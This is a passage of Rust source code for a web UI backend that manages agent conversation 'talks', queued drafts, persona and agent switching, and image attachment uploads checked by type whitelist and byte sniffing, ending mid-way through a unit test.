5801 return Ok(id.to_owned());
5802 }
5803 pick(
5804 store.list().into_iter().map(|q| q.id).collect(),
5805 id,
5806 "question",
5807 )
5808}
5809
5810async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5825 blocking(move || {
5826 let id = resolve_question(&ui.questions, &id)?;
5827 let Some(html) = ui.questions.panel_html(&id) else {
5828 return Err(ApiError::not_found(format!("question {id} has no panel")));
5829 };
5830 Ok(panel_response(
5831 "text/html; charset=utf-8",
5832 false,
5833 html.into_bytes(),
5834 ))
5835 })
5836 .await
5837}
5838
5839async fn question_asset(
5867 State(ui): State<Arc<Ui>>,
5868 Path((id, name)): Path<(String, String)>,
5869) -> ApiResult<Response> {
5870 if !crate::ask::valid_asset_name(&name) {
5873 return Err(ApiError::bad_request(format!(
5874 "`{name}` is not a usable asset name"
5875 )));
5876 }
5877 blocking(move || {
5878 let id = resolve_question(&ui.questions, &id)?;
5879 let asset = ui
5880 .questions
5881 .panel_asset(&id, &name)
5882 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5883 let Some(bytes) = asset else {
5884 return Err(ApiError::not_found(format!(
5885 "question {id} has no asset `{name}`"
5886 )));
5887 };
5888 Ok(panel_response(
5889 asset_content_type(&name),
5890 is_svg(&name),
5891 bytes,
5892 ))
5893 })
5894 .await
5895}
5896
5897fn asset_content_type(name: &str) -> &'static str {
5910 match extension(name).as_deref() {
5911 Some("png") => "image/png",
5912 Some("jpg" | "jpeg") => "image/jpeg",
5913 Some("gif") => "image/gif",
5914 Some("webp") => "image/webp",
5915 Some("svg") => "image/svg+xml",
5916 Some("css") => "text/css; charset=utf-8",
5917 Some("txt") => "text/plain; charset=utf-8",
5918 _ => "application/octet-stream",
5919 }
5920}
5921
5922fn is_svg(name: &str) -> bool {
5925 extension(name).as_deref() == Some("svg")
5926}
5927
5928fn extension(name: &str) -> Option<String> {
5930 name.rsplit_once('.')
5931 .map(|(_, ext)| ext.to_ascii_lowercase())
5932}
5933
5934fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5951 let mut res = (
5952 [
5953 (header::CONTENT_TYPE, content_type),
5954 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5955 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5956 (header::REFERRER_POLICY, "no-referrer"),
5957 ],
5958 body,
5959 )
5960 .into_response();
5961 if download {
5962 res.headers_mut().insert(
5963 header::CONTENT_DISPOSITION,
5964 HeaderValue::from_static("attachment"),
5965 );
5966 }
5967 res
5968}
5969
5970#[derive(Debug, Serialize)]
5976struct TalkView {
5977 #[serde(flatten)]
5978 talk: Talk,
5979 turn_bodies_md: Vec<Vec<md::Node>>,
5980 thinking: bool,
5988 context: talk::ContextUsage,
5992 operator_name: Option<String>,
5995 persona_name: Option<String>,
5997}
5998
5999impl TalkView {
6000 fn new(talk: Talk, thinking: bool) -> Self {
6003 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6004 Self::with_config(talk, thinking, cfg.as_ref())
6005 }
6006
6007 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6010 let context = talk::context_usage(&talk, cfg);
6011 let turn_bodies_md = talk
6012 .turns
6013 .iter()
6014 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6015 .collect();
6016 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6017 let persona_name = persona::find(specs, &talk.persona)
6018 .filter(|p| !p.is_default())
6019 .map(|p| p.name);
6020 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6021 Self {
6022 turn_bodies_md,
6023 thinking,
6024 context,
6025 operator_name,
6026 persona_name,
6027 talk,
6028 }
6029 }
6030}
6031
6032#[derive(Debug, Serialize)]
6037struct TalkDetailView {
6038 #[serde(flatten)]
6039 view: TalkView,
6040 tasks: Vec<TaskView>,
6041 roster: Vec<RosterEntry>,
6044 personas: Vec<PersonaEntry>,
6047}
6048
6049#[derive(Debug, Serialize)]
6051struct PersonaEntry {
6052 id: String,
6053 name: String,
6054}
6055
6056#[derive(Debug, Serialize)]
6058struct RosterEntry {
6059 id: String,
6060 kind: AgentKind,
6061 runnable: bool,
6063}
6064
6065async fn talks_list(
6070 State(ui): State<Arc<Ui>>,
6071 Query(q): Query<ListQuery>,
6072) -> ApiResult<Json<Vec<TalkView>>> {
6073 blocking(move || {
6074 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6075 Ok(Json(
6076 ui.talks
6077 .list()
6078 .into_iter()
6079 .filter(|talk| q.contains(&talk.id))
6080 .map(|talk| {
6081 let thinking = ui.is_thinking(&talk.id);
6082 let cfg = configs
6083 .entry(talk.repo.clone())
6084 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6085 TalkView::with_config(talk, thinking, cfg.as_ref())
6086 })
6087 .collect(),
6088 ))
6089 })
6090 .await
6091}
6092
6093#[derive(Debug, Default, Deserialize)]
6098#[serde(default)]
6099struct NewTalk {
6100 agent: Option<String>,
6101 repo: Option<PathBuf>,
6102}
6103
6104async fn talk_post(
6107 State(ui): State<Arc<Ui>>,
6108 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6109) -> ApiResult<impl IntoResponse> {
6110 let body = match body {
6114 Ok(Json(body)) => body,
6115 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6116 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6117 };
6118 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6119 let cfg = config_for(&repo).await?;
6120 let view = blocking(move || {
6121 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
6122 let thinking = ui.is_thinking(&talk.id);
6123 Ok(TalkView::new(talk, thinking))
6124 })
6125 .await?;
6126 Ok((StatusCode::CREATED, Json(view)))
6127}
6128
6129async fn talk_detail(
6131 State(ui): State<Arc<Ui>>,
6132 Path(id): Path<String>,
6133) -> ApiResult<Json<TalkDetailView>> {
6134 blocking(move || {
6135 let id = resolve_talk(&ui.talks, &id)?;
6136 let talk = ui.talks.get(&id)?;
6137 let thinking = ui.is_thinking(&talk.id);
6138 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6139 .into_iter()
6140 .map(TaskView::from)
6141 .collect();
6142 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6143 let roster = cfg
6144 .as_ref()
6145 .map(|cfg| {
6146 cfg.agents
6147 .iter()
6148 .map(|a| RosterEntry {
6149 id: a.id.clone(),
6150 kind: a.kind,
6151 runnable: agent::installed(a),
6152 })
6153 .collect()
6154 })
6155 .unwrap_or_default();
6156 let specs = cfg
6157 .as_ref()
6158 .map(|cfg| cfg.talk.personas.clone())
6159 .unwrap_or_default();
6160 let personas = persona::catalog(&specs)
6161 .into_iter()
6162 .map(|p| PersonaEntry {
6163 id: p.id,
6164 name: p.name,
6165 })
6166 .collect();
6167 Ok(Json(TalkDetailView {
6168 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6169 tasks,
6170 roster,
6171 personas,
6172 }))
6173 })
6174 .await
6175}
6176
6177#[derive(Debug, Default, Deserialize)]
6183#[serde(default, deny_unknown_fields)]
6184struct NewTalkTurn {
6185 text: String,
6186 attachments: Vec<String>,
6187}
6188
6189#[derive(Debug, Deserialize)]
6190#[serde(deny_unknown_fields)]
6191struct EditTalkPending {
6192 text: String,
6193 expected_text: String,
6194 expected_attachments: Vec<String>,
6195}
6196
6197#[derive(Debug, Deserialize)]
6198#[serde(deny_unknown_fields)]
6199struct ClearTalkPending {
6200 expected_text: String,
6201 expected_attachments: Vec<String>,
6202}
6203
6204async fn talk_say(
6216 State(ui): State<Arc<Ui>>,
6217 Path(id): Path<String>,
6218 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6219) -> ApiResult<(StatusCode, Json<TalkView>)> {
6220 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6221 if body.text.trim().is_empty() && body.attachments.is_empty() {
6222 return Err(ApiError::bad_request("say something"));
6223 }
6224
6225 let id = {
6226 let ui = Arc::clone(&ui);
6227 let asked = id.clone();
6228 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6229 };
6230 {
6234 let ui = Arc::clone(&ui);
6235 let id = id.clone();
6236 blocking(move || {
6237 let talk = ui.talks.get(&id)?;
6238 if !talk.status.open() {
6239 return Err(ApiError::conflict(format!(
6240 "talk {} is {} and takes no more turns",
6241 talk.short(),
6242 talk.status.as_str()
6243 )));
6244 }
6245 Ok(())
6246 })
6247 .await?;
6248 }
6249
6250 let attachments = {
6255 let ui = Arc::clone(&ui);
6256 let id = id.clone();
6257 let ids = body.attachments.clone();
6258 blocking(move || {
6259 ids.into_iter()
6260 .map(|att_id| {
6261 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6262 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6263 })
6264 })
6265 .collect::<ApiResult<Vec<talk::Attachment>>>()
6266 })
6267 .await?
6268 };
6269
6270 let start = {
6275 let ui = Arc::clone(&ui);
6276 let id = id.clone();
6277 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6278 };
6279 let turn_guard = match start {
6280 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6281 TalkTurnStart::Pending => {
6282 return Err(ApiError::conflict(
6283 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6284 ));
6285 }
6286 TalkTurnStart::Foreign => {
6287 return Err(ApiError::conflict(
6288 "a turn is already running in another process; try again when it has finished",
6289 ));
6290 }
6291 TalkTurnStart::Busy => {
6292 let (tx, rx) = tokio::sync::oneshot::channel();
6308 tokio::spawn({
6309 let ui = Arc::clone(&ui);
6310 let id = id.clone();
6311 let said = body.text.clone();
6312 async move {
6313 let written = blocking({
6314 let ui = Arc::clone(&ui);
6315 let id = id.clone();
6316 move || {
6317 let mut talk = ui.talks.get(&id)?;
6318 #[cfg(test)]
6323 if let Some(gate) = ui
6324 .busy_queue_gate
6325 .lock()
6326 .unwrap_or_else(PoisonError::into_inner)
6327 .take()
6328 {
6329 let _ = gate.reached.send(());
6330 let _ = gate.release.recv();
6331 }
6332 if let Err(error) =
6333 talk::queue(&mut talk, &ui.talks, &said, attachments)
6334 {
6335 if let Ok(fresh) = ui.talks.get(&id) {
6336 if !fresh.status.open() {
6337 return Err(ApiError::conflict(format!(
6338 "talk {} is {} and takes no more turns",
6339 fresh.short(),
6340 fresh.status.as_str()
6341 )));
6342 }
6343 }
6344 return Err(ApiError::from(error));
6345 }
6346 let claim = match ui.begin_queued_talk_turn(&id)? {
6357 Some(turn_guard) => {
6358 let (cfg, _) = Config::discover(&talk.repo, None)?;
6359 Some((talk.clone(), cfg, turn_guard))
6360 }
6361 None => None,
6362 };
6363 let thinking = ui.is_thinking(&id);
6364 Ok((TalkView::new(talk, thinking), claim))
6365 }
6366 })
6367 .await;
6368 let (view, reclaimed) = match written {
6369 Ok(pair) => pair,
6370 Err(e) => {
6371 let _ = tx.send(Err(e));
6376 return;
6377 }
6378 };
6379 let _ = tx.send(Ok(view));
6382 if let Some((talk, cfg, turn_guard)) = reclaimed {
6383 let talks = ui.talks.clone();
6384 drain_loop(talk, talks, cfg, id, turn_guard).await;
6385 }
6386 }
6387 });
6388 let view = rx
6389 .await
6390 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6391 return Ok((StatusCode::ACCEPTED, Json(view)));
6392 }
6393 };
6394
6395 let (talk, cfg) = {
6396 let ui = Arc::clone(&ui);
6397 let id = id.clone();
6398 blocking(move || {
6399 let talk = ui.talks.get(&id)?;
6400 let (cfg, _) = Config::discover(&talk.repo, None)?;
6401 Ok((talk, cfg))
6402 })
6403 .await?
6404 };
6405
6406 let talks = ui.talks.clone();
6407 let (tx, rx) = tokio::sync::oneshot::channel();
6422 tokio::spawn({
6423 let ui = Arc::clone(&ui);
6424 let talks = talks.clone();
6425 let id = id.clone();
6426 let said = body.text.clone();
6427 let mut talk = talk.clone();
6428 async move {
6429 let recorded = blocking({
6430 let talks = talks.clone();
6431 move || {
6432 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6433 if let Ok(fresh) = talks.get(&talk.id) {
6434 if !fresh.status.open() {
6435 return Err(ApiError::conflict(format!(
6436 "talk {} is {} and takes no more turns",
6437 fresh.short(),
6438 fresh.status.as_str()
6439 )));
6440 }
6441 }
6442 return Err(ApiError::from(error));
6443 }
6444 Ok((said.trim().to_owned(), talk))
6450 }
6451 })
6452 .await;
6453 let (text, mut talk) = match recorded {
6454 Ok(pair) => pair,
6455 Err(e) => {
6456 let _ = tx.send(Err(e));
6460 return;
6461 }
6462 };
6463 let queued = talk.clone();
6464 let thinking = ui.is_thinking(&id);
6465 let _ = tx.send(Ok((queued, thinking)));
6468
6469 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6470 tracing::warn!("talk {id} turn failed: {e:#}");
6474 }
6475 drain_loop(talk, talks, cfg, id, turn_guard).await;
6478 }
6479 });
6480
6481 let (queued, thinking) = rx
6482 .await
6483 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6484
6485 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6487}
6488
6489async fn talk_pending_resume(
6493 State(ui): State<Arc<Ui>>,
6494 Path(id): Path<String>,
6495) -> ApiResult<(StatusCode, Json<TalkView>)> {
6496 let id = {
6497 let ui = Arc::clone(&ui);
6498 let asked = id.clone();
6499 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6500 };
6501 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6502 return Err(ApiError::conflict(
6503 "a talk turn is already running; the queued draft will be handled by it",
6504 ));
6505 };
6506 let (talk, cfg) = {
6507 let ui = Arc::clone(&ui);
6508 let id = id.clone();
6509 blocking(move || {
6510 let talk = ui.talks.get(&id)?;
6511 if !talk.status.open() {
6512 return Err(ApiError::conflict(format!(
6513 "talk {} is {} and takes no more turns",
6514 talk.short(),
6515 talk.status.as_str()
6516 )));
6517 }
6518 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6519 return Err(ApiError::conflict("there is no queued draft to resume"));
6520 }
6521 let (cfg, _) = Config::discover(&talk.repo, None)?;
6522 Ok((talk, cfg))
6523 })
6524 .await?
6525 };
6526 let view = TalkView::new(talk.clone(), true);
6527 let talks = ui.talks.clone();
6528 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6529 Ok((StatusCode::ACCEPTED, Json(view)))
6530}
6531
6532async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6548 let live_set = Arc::clone(&turn.turns);
6549 let mut turn = Some(turn);
6557 loop {
6558 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6559 tracing::warn!("talk {id} lost its turn lease; not draining further");
6562 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6563 if let Some(turn) = turn.take() {
6564 turn.release(&mut live);
6565 }
6566 break;
6567 }
6568 let observed = live_set
6572 .lock()
6573 .unwrap_or_else(PoisonError::into_inner)
6574 .queued
6575 .get(&id)
6576 .copied()
6577 .unwrap_or(0);
6578 let drained = blocking({
6579 let talks = talks.clone();
6580 move || {
6581 let result = talk::drain(&mut talk, &talks);
6582 Ok((talk, result))
6583 }
6584 })
6585 .await;
6586 let (next_talk, result) = match drained {
6587 Ok(drained) => drained,
6588 Err(e) => {
6589 tracing::warn!(
6590 status = %e.status,
6591 message = %e.message,
6592 "talk {id} could not start queued-text drain"
6593 );
6594 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6595 turn.take()
6596 .expect("held for the whole loop until released here")
6597 .release(&mut live);
6598 break;
6599 }
6600 };
6601 talk = next_talk;
6602 let drained = match result {
6603 Ok(Some(drained)) => drained,
6604 Ok(None) => {
6605 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6606 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6607 continue;
6608 }
6609 turn.take()
6610 .expect("held for the whole loop until released here")
6611 .release(&mut live);
6612 break;
6613 }
6614 Err(e) => {
6615 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6616 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6617 turn.take()
6618 .expect("held for the whole loop until released here")
6619 .release(&mut live);
6620 break;
6621 }
6622 };
6623 let responded = match turn.as_ref() {
6624 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6625 None => Err(anyhow::anyhow!("the turn guard was released")),
6626 };
6627 if let Err(e) = responded {
6628 tracing::warn!("talk {id} turn failed: {e:#}");
6629 }
6630 }
6631}
6632
6633async fn talk_pending_clear(
6635 State(ui): State<Arc<Ui>>,
6636 Path(id): Path<String>,
6637 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6638) -> ApiResult<Json<TalkView>> {
6639 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6640 blocking(move || {
6641 let id = resolve_talk(&ui.talks, &id)?;
6642 let mut talk = ui.talks.get(&id)?;
6643 if !talk.status.open() {
6644 return Err(ApiError::conflict(format!(
6645 "talk {} is {} and takes no more turns",
6646 talk.short(),
6647 talk.status.as_str()
6648 )));
6649 }
6650 if !talk::clear_pending_if_matches(
6651 &mut talk,
6652 &ui.talks,
6653 &body.expected_text,
6654 &body.expected_attachments,
6655 )? {
6656 return Err(ApiError::conflict(
6657 "queued message changed; reload it before clearing",
6658 ));
6659 }
6660 let thinking = ui.is_thinking(&talk.id);
6661 Ok(Json(TalkView::new(talk, thinking)))
6662 })
6663 .await
6664}
6665
6666async fn talk_pending_edit(
6670 State(ui): State<Arc<Ui>>,
6671 Path(id): Path<String>,
6672 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6673) -> ApiResult<Json<TalkView>> {
6674 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6675 let (view, reclaimed) = blocking({
6676 let ui = Arc::clone(&ui);
6677 move || {
6678 let id = resolve_talk(&ui.talks, &id)?;
6679 let mut talk = ui.talks.get(&id)?;
6680 if !talk.status.open() {
6681 return Err(ApiError::conflict(format!(
6682 "talk {} is {} and takes no more turns",
6683 talk.short(),
6684 talk.status.as_str()
6685 )));
6686 }
6687 if !talk::edit_pending_text(
6688 &mut talk,
6689 &ui.talks,
6690 &body.text,
6691 &body.expected_text,
6692 &body.expected_attachments,
6693 )? {
6694 return Err(ApiError::conflict(
6695 "queued message changed; reload it before editing",
6696 ));
6697 }
6698 let claim = match ui.begin_queued_talk_turn(&id)? {
6699 Some(turn_guard) => {
6700 let (cfg, _) = Config::discover(&talk.repo, None)?;
6701 Some((talk.clone(), cfg, id.clone(), turn_guard))
6702 }
6703 None => None,
6704 };
6705 let thinking = ui.is_thinking(&id);
6706 Ok((TalkView::new(talk, thinking), claim))
6707 }
6708 })
6709 .await?;
6710 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6711 let talks = ui.talks.clone();
6712 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6713 }
6714 Ok(Json(view))
6715}
6716
6717#[derive(Debug, Deserialize)]
6719struct TalkAgent {
6720 agent: String,
6721}
6722
6723async fn talk_agent(
6728 State(ui): State<Arc<Ui>>,
6729 Path(id): Path<String>,
6730 Json(body): Json<TalkAgent>,
6731) -> ApiResult<Json<TalkView>> {
6732 let id = {
6733 let ui = Arc::clone(&ui);
6734 blocking(move || resolve_talk(&ui.talks, &id)).await?
6735 };
6736 let repo = {
6737 let ui = Arc::clone(&ui);
6738 let id = id.clone();
6739 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6740 };
6741 let cfg = config_for(&repo).await?;
6742 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6743 return Err(ApiError::conflict(
6744 "a talk turn is running; change the agent once it has answered",
6745 ));
6746 };
6747 let switched = {
6748 let ui = Arc::clone(&ui);
6749 let id = id.clone();
6750 let cfg = cfg.clone();
6751 blocking(move || {
6752 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6753 .map_err(ApiError::bad_request_from)?;
6754 let mut talk = ui.talks.get(&id)?;
6755 if !talk.status.open() {
6756 return Err(ApiError::conflict(format!(
6757 "talk {} is {} and takes no more turns",
6758 talk.short(),
6759 talk.status.as_str()
6760 )));
6761 }
6762 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6763 Ok(talk)
6764 })
6765 .await
6766 };
6767 let fresh = {
6772 let ui = Arc::clone(&ui);
6773 let id = id.clone();
6774 blocking(move || Ok(ui.talks.get(&id)?)).await
6775 };
6776 let draining = match fresh {
6777 Ok(talk) => {
6778 let draining = talk.status.open()
6779 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6780 let talks = ui.talks.clone();
6781 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6782 draining
6783 }
6784 Err(_) => false,
6785 };
6786 let talk = switched?;
6787 Ok(Json(TalkView::new(talk, draining)))
6788}
6789
6790#[derive(Debug, Deserialize)]
6792struct TalkPersona {
6793 persona: String,
6794}
6795
6796async fn talk_persona(
6800 State(ui): State<Arc<Ui>>,
6801 Path(id): Path<String>,
6802 Json(body): Json<TalkPersona>,
6803) -> ApiResult<Json<TalkView>> {
6804 let id = {
6805 let ui = Arc::clone(&ui);
6806 blocking(move || resolve_talk(&ui.talks, &id)).await?
6807 };
6808 let repo = {
6809 let ui = Arc::clone(&ui);
6810 let id = id.clone();
6811 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6812 };
6813 let cfg = config_for(&repo).await?;
6814 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6815 return Err(ApiError::conflict(
6816 "a talk turn is running; change the persona once it has answered",
6817 ));
6818 };
6819 let switched = {
6820 let ui = Arc::clone(&ui);
6821 let id = id.clone();
6822 let cfg = cfg.clone();
6823 blocking(move || {
6824 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
6825 return Err(ApiError::bad_request(format!(
6826 "unknown persona `{}`",
6827 body.persona
6828 )));
6829 };
6830 let mut talk = ui.talks.get(&id)?;
6831 if !talk.status.open() {
6832 return Err(ApiError::conflict(format!(
6833 "talk {} is {} and takes no more turns",
6834 talk.short(),
6835 talk.status.as_str()
6836 )));
6837 }
6838 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
6839 Ok(talk)
6840 })
6841 .await
6842 };
6843 let fresh = {
6845 let ui = Arc::clone(&ui);
6846 let id = id.clone();
6847 blocking(move || Ok(ui.talks.get(&id)?)).await
6848 };
6849 let draining = match fresh {
6850 Ok(talk) => {
6851 let draining = talk.status.open()
6852 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6853 let talks = ui.talks.clone();
6854 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6855 draining
6856 }
6857 Err(_) => false,
6858 };
6859 let talk = switched?;
6860 Ok(Json(TalkView::new(talk, draining)))
6861}
6862
6863async fn talk_close(
6865 State(ui): State<Arc<Ui>>,
6866 Path(id): Path<String>,
6867) -> ApiResult<Json<TalkView>> {
6868 blocking(move || {
6869 let id = resolve_talk(&ui.talks, &id)?;
6870 let mut talk = ui.talks.get(&id)?;
6871 talk::close(&mut talk, &ui.talks)?;
6872 let thinking = ui.is_thinking(&talk.id);
6873 Ok(Json(TalkView::new(talk, thinking)))
6874 })
6875 .await
6876}
6877
6878async fn talk_reopen(
6880 State(ui): State<Arc<Ui>>,
6881 Path(id): Path<String>,
6882) -> ApiResult<Json<TalkView>> {
6883 blocking(move || {
6884 let id = resolve_talk(&ui.talks, &id)?;
6885 let mut talk = ui.talks.get(&id)?;
6886 talk::reopen(&mut talk, &ui.talks)?;
6887 let thinking = ui.is_thinking(&talk.id);
6888 Ok(Json(TalkView::new(talk, thinking)))
6889 })
6890 .await
6891}
6892
6893async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6903 blocking(move || {
6904 let id = resolve_talk(&ui.talks, &id)?;
6905 ui.talks.remove(&id)?;
6906 Ok(StatusCode::NO_CONTENT)
6907 })
6908 .await
6909}
6910
6911fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6913 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6914}
6915
6916async fn talk_attachment_post(
6919 State(ui): State<Arc<Ui>>,
6920 Path(id): Path<String>,
6921 headers: HeaderMap,
6922 body: Bytes,
6923) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6924 let mime = validate_attachment(&headers, &body)?;
6925 let name = filename_header(&headers);
6926 let data = body.to_vec();
6927 blocking(move || {
6928 let id = resolve_talk(&ui.talks, &id)?;
6929 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6930 Ok((StatusCode::CREATED, Json(att)))
6931 })
6932 .await
6933}
6934
6935async fn talk_attachment_get(
6938 State(ui): State<Arc<Ui>>,
6939 Path((id, att)): Path<(String, String)>,
6940) -> ApiResult<Response> {
6941 blocking(move || {
6942 let id = resolve_talk(&ui.talks, &id)?;
6943 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6944 return Err(ApiError::not_found(format!(
6945 "talk {id} has no attachment `{att}`"
6946 )));
6947 };
6948 Ok(attachment_response(&meta.mime, data))
6949 })
6950 .await
6951}
6952
6953fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6964 if data.len() > ATTACHMENT_MAX_BYTES {
6965 return Err(ApiError::bad_request(format!(
6966 "attachment is {} bytes, over the {} MiB limit",
6967 data.len(),
6968 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6969 ))
6970 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6971 }
6972 if data.is_empty() {
6973 return Err(ApiError::bad_request("attachment is empty"));
6974 }
6975 let declared = declared_mime(headers)?;
6976 match sniffed_mime(data) {
6977 Some(sniffed) if sniffed == declared => Ok(declared),
6978 Some(sniffed) => Err(ApiError::bad_request(format!(
6979 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6980 ))),
6981 None => Err(ApiError::bad_request(
6982 "the file's bytes do not match any accepted image format",
6983 )),
6984 }
6985}
6986
6987fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6991 let raw = headers
6992 .get(header::CONTENT_TYPE)
6993 .and_then(|v| v.to_str().ok())
6994 .unwrap_or("")
6995 .split(';')
6996 .next()
6997 .unwrap_or("")
6998 .trim()
6999 .to_ascii_lowercase();
7000 ATTACHMENT_MIME_WHITELIST
7001 .iter()
7002 .find(|&&m| m == raw)
7003 .copied()
7004 .ok_or_else(|| {
7005 if raw == "image/svg+xml" {
7006 ApiError::bad_request(
7007 "SVG is not accepted: it can carry active content (e.g. a <script>), \
7008 not just a picture",
7009 )
7010 } else if raw.is_empty() {
7011 ApiError::bad_request("Content-Type is required for an attachment upload")
7012 } else {
7013 ApiError::bad_request(format!(
7014 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7015 image/gif or image/webp"
7016 ))
7017 }
7018 })
7019}
7020
7021fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7024 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7025 Some("image/png")
7026 } else if data.starts_with(b"\xff\xd8\xff") {
7027 Some("image/jpeg")
7028 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7029 Some("image/gif")
7030 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7031 Some("image/webp")
7032 } else {
7033 None
7034 }
7035}
7036
7037fn filename_header(headers: &HeaderMap) -> String {
7043 headers
7044 .get(FILENAME_HEADER)
7045 .and_then(|v| v.to_str().ok())
7046 .map(str::trim)
7047 .filter(|s| !s.is_empty())
7048 .unwrap_or("attachment")
7049 .to_owned()
7050}
7051
7052fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7059 let content_type = ATTACHMENT_MIME_WHITELIST
7060 .iter()
7061 .find(|&&m| m == mime)
7062 .copied()
7063 .unwrap_or("application/octet-stream");
7064 (
7065 [
7066 (header::CONTENT_TYPE, content_type),
7067 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7068 ],
7069 body,
7070 )
7071 .into_response()
7072}
7073
7074async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7082 let repo = repo.to_path_buf();
7083 blocking(move || {
7084 let (cfg, _) = Config::discover(&repo, None)?;
7085 Ok(cfg)
7086 })
7087 .await
7088}
7089
7090fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7096 let mut hits = ids
7097 .into_iter()
7098 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7099 match (hits.next(), hits.next()) {
7100 (Some(one), None) => Ok(one),
7101 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7102 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7103 "`{prefix}` matches more than one {what}, including {a} and {b}"
7104 ))),
7105 }
7106}
7107
7108#[cfg(test)]
7109mod tests {
7110
7111 #[test]
7112 fn holder_reads_the_lease_not_the_record() {
7113 let mut q = Question::new(
7114 "run".to_owned(),
7115 "implement".to_owned(),
7116 "impl-A".to_owned(),
7117 "which?".to_owned(),
7118 String::new(),
7119 Vec::new(),
7120 );
7121 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7122 q.cwd = Some("/tmp".to_owned());
7123 assert_eq!(holder_of(&q, None), Some("nobody"));
7124 let beat = |kind, ago: i64| ask::Lease {
7125 kind,
7126 pid: 1,
7127 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7128 .unwrap(),
